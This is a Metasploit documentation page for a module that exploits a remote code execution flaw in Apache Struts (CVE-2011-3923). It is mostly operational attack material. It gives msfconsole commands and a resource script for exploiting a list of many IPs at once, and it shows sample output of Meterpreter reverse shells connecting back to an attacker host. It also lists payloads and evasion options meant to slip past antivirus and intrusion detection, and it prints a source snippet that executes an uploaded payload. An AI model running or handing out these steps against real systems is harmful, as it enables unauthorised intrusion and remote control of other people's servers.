Apache Struts ParametersInterceptor Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/struts_code_exec_parameters metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Struts ParametersInterceptor Remote Code Execution
Module: exploit/multi/http/struts_code_exec_parameters
Source code: modules/exploits/multi/http/struts_code_exec_parameters.rb
Disclosure date: 2011-10-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2011-3923
This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret parameter values as OGNL expressions during certain exception handling for mismatched data types of properties which allows remote attackers to execute arbitrary Java code via a crafted parameter.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using struts_code_exec_parameters against a single host
Normally, you can use exploit/multi/http/struts_code_exec_parameters this way:
msf > use exploit/multi/http/struts_code_exec_parameters
msf exploit(struts_code_exec_parameters) > show targets
... a list of targets ...
msf exploit(struts_code_exec_parameters) > set TARGET target-id
msf exploit(struts_code_exec_parameters) > show options
... show and set options ...
msf exploit(struts_code_exec_parameters) > exploit
Using struts_code_exec_parameters against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your struts_code_exec_parameters will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/struts_code_exec_parameters")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/struts_code_exec_parameters exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts_code_exec_parameters
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_code_exec_parameters) > show info
Name: Apache Struts ParametersInterceptor Remote Code Execution
Module: exploit/multi/http/struts_code_exec_parameters
Platform: Java, Linux, Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-01
Provided by:
Meder Kydyraliev
Richard Hicks <[email protected]>
mihi
Christian Mehlmauer <[email protected]>
Available targets:
Id Name
-- ----
0 Windows Universal
1 Linux Universal
2 Java Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_SLEEPTIME 5 yes The time, in seconds, to ask the server to sleep while check
GET_PARAMETERS no Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.
PARAMETER username yes The parameter to perform injection against.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /blank-struts2/login.action yes The path to a struts application action
TMP_PATH no Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.3.1.2. This issue is caused because the
ParametersInterceptor allows for the use of parentheses which in
turn allows it to interpret parameter values as OGNL expressions
during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java
code via a crafted parameter.
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-3923
OSVDB (78501)
http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
https://cwiki.apache.org/confluence/display/WW/S2-009
Module Options
This is a complete list of options available in the multi/http/struts_code_exec_parameters exploit:
msf6 exploit(multi/http/struts_code_exec_parameters) > show options
Module options (exploit/multi/http/struts_code_exec_parameters):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_SLEEPTIME 5 yes The time, in seconds, to ask the server to sleep while check
GET_PARAMETERS no Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.
PARAMETER username yes The parameter to perform injection against.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /blank-struts2/login.action yes The path to a struts application action
TMP_PATH no Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Java Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts_code_exec_parameters exploit:
msf6 exploit(multi/http/struts_code_exec_parameters) > show advanced
Module advanced options (exploit/multi/http/struts_code_exec_parameters):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts_code_exec_parameters module can exploit:
msf6 exploit(multi/http/struts_code_exec_parameters) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Universal
1 Linux Universal
2 Java Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_code_exec_parameters exploit:
msf6 exploit(multi/http/struts_code_exec_parameters) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts_code_exec_parameters exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts_code_exec_parameters) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
You need to add a trailing slash/backslash to TMP_PATH
Here is a relevant code snippet related to the "You need to add a trailing slash/backslash to TMP_PATH" error message:
78: end
79:
80: def temp_path
81: return nil unless datastore['TMP_PATH']
82: unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
83: fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
84: end
85: datastore['TMP_PATH']
86: end
87:
88: def get_parameter
Unsupported target platform!
Here is a relevant code snippet related to the "Unsupported target platform!" error message:
143: pl_exe = generate_payload_exe
144: path = temp_path || './'
145: payload_exe = "#{path}#{payload_exe}.exe"
146: exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
147: else
148: fail_with(Failure::NoTarget, 'Unsupported target platform!')
149: end
150:
151: print_status("Uploading exploit to #{payload_exe}")
152: #Now with all the arch specific stuff set, perform the upload.
153: #109 = length of command string plus the max length of append.
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10038 Merged Pull Request: Move EXE generation in struts_code_exec_parameters
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6331 Merged Pull Request: Fix #6330, generate_payload_exe returning nil for generic bind/reverse payloads
- #3467 Merged Pull Request: [SeeRM #8815] struts_code_exec_parameters: Dont try to exploit when generate_payload_exe fails
- #3442 Merged Pull Request: Fix a typo where platform was 'windows' not 'win'
- #3347 Merged Pull Request: fix java payload struts module
- #3343 Merged Pull Request: fixed CVE-2011-3923 - struts_code_exec_parameters
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #2172 Merged Pull Request: Reverting disaster merge to 593363c5f with diff
References
- CVE-2011-3923
- OSVDB (78501)
- http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
- https://cwiki.apache.org/confluence/display/WW/S2-009
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts_code_exec
- exploit/multi/http/struts_code_exec_classloader
- exploit/multi/http/struts_code_exec_exception_delegator
- exploit/multi/http/struts_default_action_mapper
- exploit/multi/http/struts_dev_mode
- exploit/multi/http/struts_dmi_exec
- exploit/multi/http/struts_dmi_rest_exec
- exploit/multi/http/struts_include_params
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/struts2_rest_xstream
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/nostromo_code_exec
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/php/wp_duplicator_code_inject
Related Nessus plugins:
- Apache Struts 2.x < 2.3.1.2 RCE (S2-009)
- Apache Struts 2.x < 2.3.1.1 Multiple Vulnerabilities
- Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
Authors
- Meder Kydyraliev
- Richard Hicks <scriptmonkey.blog[at]gmail.com>
- mihi
- Christian Mehlmauer
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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